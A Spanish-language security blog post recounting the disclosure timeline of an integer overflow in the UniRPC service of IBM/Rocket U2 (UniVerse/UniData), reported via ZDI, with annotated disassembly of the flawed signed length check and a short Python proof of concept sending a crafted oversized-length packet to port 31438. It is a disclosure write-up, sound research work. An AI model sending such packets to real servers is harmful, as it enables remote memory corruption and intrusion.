Random IRC quote :      <madalenasbuenas> nunka komas palomitas de un extraño

El ciclo de vida de un fallo.

Desde 48bits os deseamos unas felices comilonas y un próspero loquesea.

Quiero ambientar este post con una canción de la página revelación del 2010, ano.lolcathost.org

Su título es «Miau, Miau», letra a cargo de Alejandro Sanz y el fulano de Jarabe de Palo. La música fue compuesta por Luis Cobos.

Según los autores «con esta canción queríamos expresar nuestra consternación por todo lo que vemos en la tele y la gente nos cuenta en facebook: los superpobres que son muy pobres ¿sabes? la falta de berberechos humanos en China, el cambio simpático y los tierramotos de Haití. Sin olvidarnos de cómo nos vemos obligados a beber agua del grifo debido a la pirateria.»
Pulsa para escuchar el hit de las navidades: «Miau Miau»

Al lio…

Hace aproximadamente 3 años que vendí a ZDI un fallo en la implementación RPC de los productos IBM U2 (Universe y Unidata).

About InterCall
InterCall is an API (application programming interface) that enables a UNIX or Windows client to access data on UniVerse and UniData servers. With InterCall, your applications can:
Connect to one or more servers
Access files and records
Execute database commands and UniVerse BASIC programs On Windows platforms, you can write applications for client programs using any development tool that accesses DLLs, for example, Visual Basic, C, or Visual C/C++. On UNIX, you can use any tool that accesses static libraries, typically a C compiler

Minimum System Requirements
To run InterCall applications, you need the following:
On a UNIX server:
UniVerse Release 8.3.3.1G or later, or UniData Release 5.1 or later
TCP/IP
UniRPC daemon (unirpcd) running
On a Windows server:
UniVerse Release 9.3.1 or later, or UniData Release 5.1 or later
TCP/IP, if connected to a UNIX client
TCP/IP or LAN Manager, if connected to a Windows client
UniRPC service (unirpc) running
{…}
bin/unirpc32.dll A DLL used by InterCall applications at run time.

El fallo, un integer overflow de libro, se producía en la función uvrpc_read_message:

.text:10002480                 public uvrpc_read_message
.text:10002480 uvrpc_read_message proc near  ; CODE XREF: uvrpc_read_packet+3A#p
{}
; Check signature  0X6F02 || 0x6F01
.text:100025A0                 mov     esi, [edi]
.text:100025A2                 sar     esi, 10h
.text:100025A5                 and     esi, 0FFFFh
.text:100025AB                 mov     ecx, esi
.text:100025AD                 and     ecx, 0FF00h
.text:100025B3                 cmp     ecx, 6C00h
.text:100025B9                 jnz     short loc_10002619
.text:100025BB                 and     esi, 0FFFF93FFh
.text:100025C1                 cmp     esi, 2
.text:100025C4                 ja      short loc_10002619
.text:100025C6                 cmp     esi, 1
.text:100025C9                 jb      short loc_10002619
;The rpc packet length is directly read from [packet+4]
.text:100025CB                 mov     ecx, [edi+4]
[]
; Another check ![packet+0x10]
.text:10002647                 mov     esi, [edi+10h]
.text:1000264A                 test    esi, esi
[]
;The server calculates the real length of the packet, (re)allocating memory if
;needed.
.text:1000269C                 mov     dword_1001C604, edx
.text:100026A2                 mov     eax, [edi+14h] ; Number of rpc args
.text:100026A5                 mov     edx, [esp+2Ch+arg_4]
.text:100026A9                 sar     eax, 10h
.text:100026AC                 and     eax, 0FFFFh
.text:100026B1                 mov     [edx], eax
.text:100026B3                 mov     eax, [edi+14h]
.text:100026B6                 mov     edx, [esp+2Ch+arg_10]
.text:100026BA                 and     eax, 0FFFFh
.text:100026BF                 mov     [edx], eax

;Integer Overflow
.text:100026C1                 lea     eax, [ecx+18h] ; ecx = our_size
.text:100026C4                 cmp     eax, nNumberOfBytesToRead
.text:100026CA                 jle     short loc_100026EB ; signed comparison  OOPS!
 

En este punto, si el tamaño era mayor el server necesitaba más memoria para albergar el paquete

.text:100026CC                 push    eax             ; Args
.text:100026CD                 call    sub_10002970 ; Realloc
 

pero si no llamaba a recv con el buffer por defecto hasta completar la recepción del paquete usando el valor de longitud que nosotros enviamos en el paquete, no el que él calculó.

.text:10002744                 mov     dword_1001C61C, 1
.text:1000274E                 call    sub_100033C0 ; recv(…)
[]
.text:10003649                 mov     edx, [esp+228h+nNumberOfBytesToRead]
.text:10003650                 mov     eax, dword_1000D524[ebx]
.text:10003656                 push    0
.text:10003658                 push    edx
.text:10003659                 push    ebp
.text:1000365A                 push    eax
.text:1000365B                 call    dword_1001C65C  ; recv
 

El problema está en que al ser una comparación con signo , si el valor que nosotros le pasamos + 0x18 que le suma él, es un número negativo, nos saltaremos el check.

Ejemplo:
fake_size = 0x7ffffff0 :: Es > 0
+ 0x18h = 0x80000008 :: Ahora es < 0 asi que fake_size < nNumberofBytesToRead entonces n=recv(socket, buffer, fake_size-(n), flags) Simple PoC

            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((sys.argv[1], 31438))
            s.send("\x6c\x02\x6F\x6c"   # Magic
                   +"\x7f\xff\xfF\xF0"  # our_size
                   +"\x18\x19\x0a\x0b"
                   +"\x02\x0d\x0e\x0f"
                   +"\x00\x00\x00\x00"  # check 1
                   +"A"*0x20
                   +whatever
 

Lo curioso de este caso es que IBM vendió esta rama de productos a la empresa Rocket. Estos por tanto heredaron el bug que todavía no había sido parcheado. Finalmente, hoy ha sido liberado el parche y el advisory de ZDI. El tiempo transcurrido entre una cosa y otra ha sido de casi 3 años. Yeah.

La historia de esta rama de productos la podéis leer en Wikipedia http://en.wikipedia.org/wiki/Rocket_U2

ZDI Advisory http://www.zerodayinitiative.com/advisories/ZDI-10-294/

3 Comentarios para “El ciclo de vida de un fallo.”

  1. Comment por matalaz | 12/24/10 at 12:13 pm

    Unidata es una fiesta muy grande XDD
    Muy buena Rubén!

  2. Comment por belmontemartin | 12/24/10 at 5:32 pm

    Genial

    …como siempre 😀

  3. Comment por Amian | 01/19/11 at 5:08 pm

    Que rechingon el post wey, siempre con la webada bien alta. Lo que molestome un poco es la history nueva de la captcha, ahora mismo estuvimos Lupita y yo observando lo que la concha de su madre quisome decir, pero por todos los bolinches que al final lo encontre.

Se han cerrado los comentarios